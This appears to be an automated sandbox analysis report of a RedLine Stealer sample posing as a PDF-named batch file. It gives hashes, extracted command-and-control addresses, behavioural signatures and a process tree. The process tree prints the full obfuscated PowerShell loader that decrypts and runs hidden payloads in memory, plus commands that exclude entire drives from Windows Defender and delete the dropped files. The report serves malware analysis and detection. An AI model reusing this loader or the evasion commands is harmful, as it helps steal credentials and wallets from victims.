Analysis
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max time kernel
142s -
max time network
147s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system -
submitted
17/09/2023, 18:21
Static task
static1
Behavioral task
behavioral1
Sample
installment-papers-𝘱𝘥𝘧.bat
Resource
win7-20230831-en
General
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Target
installment-papers-𝘱𝘥𝘧.bat
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Size
393KB
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MD5
b4c53eb42fac3e0c8770a4704171cfb6
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SHA1
84d6767c85019aebb3a69f7e91122b849a7920d4
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SHA256
f4f093e1c950a233464a6a17a2040630c9e4f69b282f4a34510b3de35d5723b0
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SHA512
28ce60729339301a9d2f2795bce4624480e9704102944d55efaff0e8a6c2448d83809e397fa4385304fc7d7f21041dee45614dddfcdb088c27289d75d1082b30
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SSDEEP
12288:BC2EeON/+rF+B2Oifb0FfNGIklldsk2zdoBgT0eOTXzRlQk:Bi4Y2nfwHklldskOdsd5lQk
Malware Config
Extracted
redline
A1
80.85.152.191:27465
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auth_value
a131e3b093780cde0c92d305bfc047cd
Extracted
redline
1
192.248.145.110:2206
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auth_value
ab3016ff00d136f88ba093ed5c03f62c
Signatures
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RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000\Control Panel\International\Geo\Nation installment-papers-𝘱𝘥𝘧.bat.exe -
Executes dropped EXE 2 IoCs
pid Process 964 installment-papers-𝘱𝘥𝘧.bat.exe 2948 A1.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 22 IoCs
pid Process 964 installment-papers-𝘱𝘥𝘧.bat.exe 964 installment-papers-𝘱𝘥𝘧.bat.exe 2620 powershell.exe 4884 powershell.exe 2620 powershell.exe 4884 powershell.exe 2620 powershell.exe 2620 powershell.exe 2248 powershell.exe 2248 powershell.exe 4004 powershell.exe 4004 powershell.exe 4004 powershell.exe 4004 powershell.exe 2948 A1.exe 2948 A1.exe 964 installment-papers-𝘱𝘥𝘧.bat.exe 2948 A1.exe 964 installment-papers-𝘱𝘥𝘧.bat.exe 964 installment-papers-𝘱𝘥𝘧.bat.exe 964 installment-papers-𝘱𝘥𝘧.bat.exe 2948 A1.exe -
Suspicious use of AdjustPrivilegeToken 27 IoCs
description pid Process Token: SeDebugPrivilege 964 installment-papers-𝘱𝘥𝘧.bat.exe Token: SeDebugPrivilege 2620 powershell.exe Token: SeDebugPrivilege 4884 powershell.exe Token: SeDebugPrivilege 2248 powershell.exe Token: SeIncreaseQuotaPrivilege 2248 powershell.exe Token: SeSecurityPrivilege 2248 powershell.exe Token: SeTakeOwnershipPrivilege 2248 powershell.exe Token: SeLoadDriverPrivilege 2248 powershell.exe Token: SeSystemProfilePrivilege 2248 powershell.exe Token: SeSystemtimePrivilege 2248 powershell.exe Token: SeProfSingleProcessPrivilege 2248 powershell.exe Token: SeIncBasePriorityPrivilege 2248 powershell.exe Token: SeCreatePagefilePrivilege 2248 powershell.exe Token: SeBackupPrivilege 2248 powershell.exe Token: SeRestorePrivilege 2248 powershell.exe Token: SeShutdownPrivilege 2248 powershell.exe Token: SeDebugPrivilege 2248 powershell.exe Token: SeSystemEnvironmentPrivilege 2248 powershell.exe Token: SeRemoteShutdownPrivilege 2248 powershell.exe Token: SeUndockPrivilege 2248 powershell.exe Token: SeManageVolumePrivilege 2248 powershell.exe Token: 33 2248 powershell.exe Token: 34 2248 powershell.exe Token: 35 2248 powershell.exe Token: 36 2248 powershell.exe Token: SeDebugPrivilege 4004 powershell.exe Token: SeDebugPrivilege 2948 A1.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 4572 wrote to memory of 732 4572 cmd.exe 85 PID 4572 wrote to memory of 732 4572 cmd.exe 85 PID 732 wrote to memory of 964 732 cmd.exe 87 PID 732 wrote to memory of 964 732 cmd.exe 87 PID 732 wrote to memory of 964 732 cmd.exe 87 PID 964 wrote to memory of 2620 964 installment-papers-𝘱𝘥𝘧.bat.exe 91 PID 964 wrote to memory of 2620 964 installment-papers-𝘱𝘥𝘧.bat.exe 91 PID 964 wrote to memory of 2620 964 installment-papers-𝘱𝘥𝘧.bat.exe 91 PID 964 wrote to memory of 4884 964 installment-papers-𝘱𝘥𝘧.bat.exe 93 PID 964 wrote to memory of 4884 964 installment-papers-𝘱𝘥𝘧.bat.exe 93 PID 964 wrote to memory of 4884 964 installment-papers-𝘱𝘥𝘧.bat.exe 93 PID 964 wrote to memory of 2248 964 installment-papers-𝘱𝘥𝘧.bat.exe 95 PID 964 wrote to memory of 2248 964 installment-papers-𝘱𝘥𝘧.bat.exe 95 PID 964 wrote to memory of 2248 964 installment-papers-𝘱𝘥𝘧.bat.exe 95 PID 964 wrote to memory of 2948 964 installment-papers-𝘱𝘥𝘧.bat.exe 97 PID 964 wrote to memory of 2948 964 installment-papers-𝘱𝘥𝘧.bat.exe 97 PID 964 wrote to memory of 2948 964 installment-papers-𝘱𝘥𝘧.bat.exe 97 PID 964 wrote to memory of 4004 964 installment-papers-𝘱𝘥𝘧.bat.exe 98 PID 964 wrote to memory of 4004 964 installment-papers-𝘱𝘥𝘧.bat.exe 98 PID 964 wrote to memory of 4004 964 installment-papers-𝘱𝘥𝘧.bat.exe 98
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\installment-papers-𝘱𝘥𝘧.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4572 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\installment-papers-𝘱𝘥𝘧.bat2⤵
- Suspicious use of WriteProcessMemory
PID:732 -
C:\Users\Admin\AppData\Local\Temp\installment-papers-𝘱𝘥𝘧.bat.exe"C:\Users\Admin\AppData\Local\Temp\installment-papers-𝘱𝘥𝘧.bat.exe" -w hidden -c $fiYc='InvIdTrokeIdTr'.Replace('IdTr', ''),'ReasSQqdLisSQqnsSQqessSQq'.Replace('sSQq', ''),'MaZWebinZWebMZWebodZWebulZWebeZWeb'.Replace('ZWeb', ''),'SpNijqlNijqiNijqtNijq'.Replace('Nijq', ''),'GeRsnHtCRsnHurRsnHreRsnHntPRsnHroRsnHceRsnHssRsnH'.Replace('RsnH', ''),'ChulgPanulgPgeulgPExtulgPenulgPsulgPioulgPnulgP'.Replace('ulgP', ''),'CNdQxopNdQxyTNdQxoNdQx'.Replace('NdQx', ''),'LoSakmaSakmdSakm'.Replace('Sakm', ''),'DRvNceRvNccoRvNcmprRvNceRvNcssRvNc'.Replace('RvNc', ''),'TraGupOnsGupOfGupOorGupOmFGupOinaGupOlBGupOlGupOockGupO'.Replace('GupO', ''),'EntKzIvrKzIvyKzIvPKzIvoinKzIvtKzIv'.Replace('KzIv', ''),'ElvStpemevStpntvStpAtvStp'.Replace('vStp', ''),'FQSCNroQSCNmQSCNBaQSCNsQSCNe64QSCNStQSCNriQSCNngQSCN'.Replace('QSCN', ''),'CCoXjreCoXjateCoXjDeCoXjcCoXjrCoXjyptCoXjorCoXj'.Replace('CoXj', '');function gfsgW($gBVtE){$APtTz=[System.Security.Cryptography.Aes]::Create();$APtTz.Mode=[System.Security.Cryptography.CipherMode]::CBC;$APtTz.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$APtTz.Key=[System.Convert]::($fiYc[12])('l8TLRffC3gyiX9d1iOUDrM62nEWIszmOsSg9w1yg6IQ=');$APtTz.IV=[System.Convert]::($fiYc[12])('cVpCMuhwIpdiDX+Lhb7sAw==');$zMzHi=$APtTz.($fiYc[13])();$OtZqQ=$zMzHi.($fiYc[9])($gBVtE,0,$gBVtE.Length);$zMzHi.Dispose();$APtTz.Dispose();$OtZqQ;}function baCSB($gBVtE){$Iblbv=New-Object System.IO.MemoryStream(,$gBVtE);$jRJid=New-Object System.IO.MemoryStream;$WtUlw=New-Object System.IO.Compression.GZipStream($Iblbv,[IO.Compression.CompressionMode]::($fiYc[8]));$WtUlw.($fiYc[6])($jRJid);$WtUlw.Dispose();$Iblbv.Dispose();$jRJid.Dispose();$jRJid.ToArray();}$gajzd=[System.Linq.Enumerable]::($fiYc[11])([System.IO.File]::($fiYc[1])([System.IO.Path]::($fiYc[5])([System.Diagnostics.Process]::($fiYc[4])().($fiYc[2]).FileName, $null)), 1);$Ckhah=$gajzd.Substring(2).($fiYc[3])(':');$ixOPC=baCSB (gfsgW ([Convert]::($fiYc[12])($Ckhah[0])));$NYMJk=baCSB (gfsgW ([Convert]::($fiYc[12])($Ckhah[1])));[System.Reflection.Assembly]::($fiYc[7])([byte[]]$NYMJk).($fiYc[10]).($fiYc[0])($null,$null);[System.Reflection.Assembly]::($fiYc[7])([byte[]]$ixOPC).($fiYc[10]).($fiYc[0])($null,$null);3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:964 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(964);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b;4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2620
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4884
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\installment-papers-𝘱𝘥𝘧')4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2248
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C:\Users\Admin\AppData\Local\Temp\A1.exe"C:\Users\Admin\AppData\Local\Temp\A1.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2948
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(2948);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b;4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4004
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD53d086a433708053f9bf9523e1d87a4e8
SHA1b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28
SHA2566f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69
SHA512931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd
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Filesize
53KB
MD506ad34f9739c5159b4d92d702545bd49
SHA19152a0d4f153f3f40f7e606be75f81b582ee0c17
SHA256474813b625f00710f29fa3b488235a6a22201851efb336bddf60d7d24a66bfba
SHA512c272cd28ae164d465b779163ba9eca6a28261376414c6bbdfbd9f2128adb7f7ff1420e536b4d6000d0301ded2ec9036bc5c657588458bff41f176bdce8d74f92
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Filesize
18KB
MD5e3e8b83799cdd924a022b8ee078e7506
SHA1d6caebe1ea467e53744be77a01d5d9798dfc7086
SHA2566485999bb7c6a02f2f4b61caab36517488d41293295405c648d49d112cdc7730
SHA512c6b693f21494f0cafa8a260eb2d0bb4088c6a33b2fc8888c54a452720ca36e08013148445ff43716dc96ef1091f96094155575975a9b6784917b5c85c618ec33
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Filesize
20KB
MD5bb6b42409dbc119cb40b0253da1ea674
SHA1aa96aaed16c88f41770874dadbe686004c7b6fb3
SHA256a5d13c9d60ebee8f9df0203833fdc69fc176a45709ca160f56f30e4d1f1a56c9
SHA5120f9b3a00d3bedc57699a6396ff084ffbd69c7dd78a796b244504a75cae42cc04629573d1903114cc8eff2c8bc3997efe992b43c70a9a76a6e2b5b0b3d85cd6b6
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Filesize
15KB
MD53400b4e119ba51eaefc70da00254ae76
SHA145a94271cce89612e2e132d351a1210a970b581c
SHA2565654fde7225d8a32f041ebad578f44dc492f6a4530070596091292f973f504b6
SHA51284136ecdfb59113fd734bf934785d14524f3d7454c13cb1edf9c67935a77beaa3df6ee6b2dc1207232ae414cfe14124f203c7850cf0ea1d8eb11fbe44cf2824e
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Filesize
15KB
MD5a97a2f804df68771ee3ea9d385e6663c
SHA13533e6373882fc319579da5bdd0ce3207e96f615
SHA2562ef95e532bdecb8dc69c867a32ea40fa1af2ec8922be322b55f9541a29ea54e6
SHA512428fa6fc83a60ebad9709ab616e95da9f30bc2e3a8356f1094340f01a84c1a27eb331b5c046b2ff5fdfada59f61b233b205c7bf34726bf6fa061a04235a371dd
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Filesize
174KB
MD528caece68c96bec864c5b61d09a8ad06
SHA1a211e5db983c0ceb6b90465a76a780fa0884ff5d
SHA256197b50f15375335928e08c5cc5b6f50cd93864655237b8db85556d4057f3b988
SHA5125d2a62cc84ddcd339c641e8e668015183ab2238bb88bb7fa656ad92d2232a4011448a052813eb8bb4144cb694709ce71f308f0aa6ec6b0ce28986da159bcbc84
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Filesize
174KB
MD528caece68c96bec864c5b61d09a8ad06
SHA1a211e5db983c0ceb6b90465a76a780fa0884ff5d
SHA256197b50f15375335928e08c5cc5b6f50cd93864655237b8db85556d4057f3b988
SHA5125d2a62cc84ddcd339c641e8e668015183ab2238bb88bb7fa656ad92d2232a4011448a052813eb8bb4144cb694709ce71f308f0aa6ec6b0ce28986da159bcbc84
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Filesize
174KB
MD528caece68c96bec864c5b61d09a8ad06
SHA1a211e5db983c0ceb6b90465a76a780fa0884ff5d
SHA256197b50f15375335928e08c5cc5b6f50cd93864655237b8db85556d4057f3b988
SHA5125d2a62cc84ddcd339c641e8e668015183ab2238bb88bb7fa656ad92d2232a4011448a052813eb8bb4144cb694709ce71f308f0aa6ec6b0ce28986da159bcbc84
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
423KB
MD5c32ca4acfcc635ec1ea6ed8a34df5fac
SHA1f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
SHA25673a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
SHA5126e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc
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Filesize
423KB
MD5c32ca4acfcc635ec1ea6ed8a34df5fac
SHA1f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
SHA25673a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
SHA5126e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc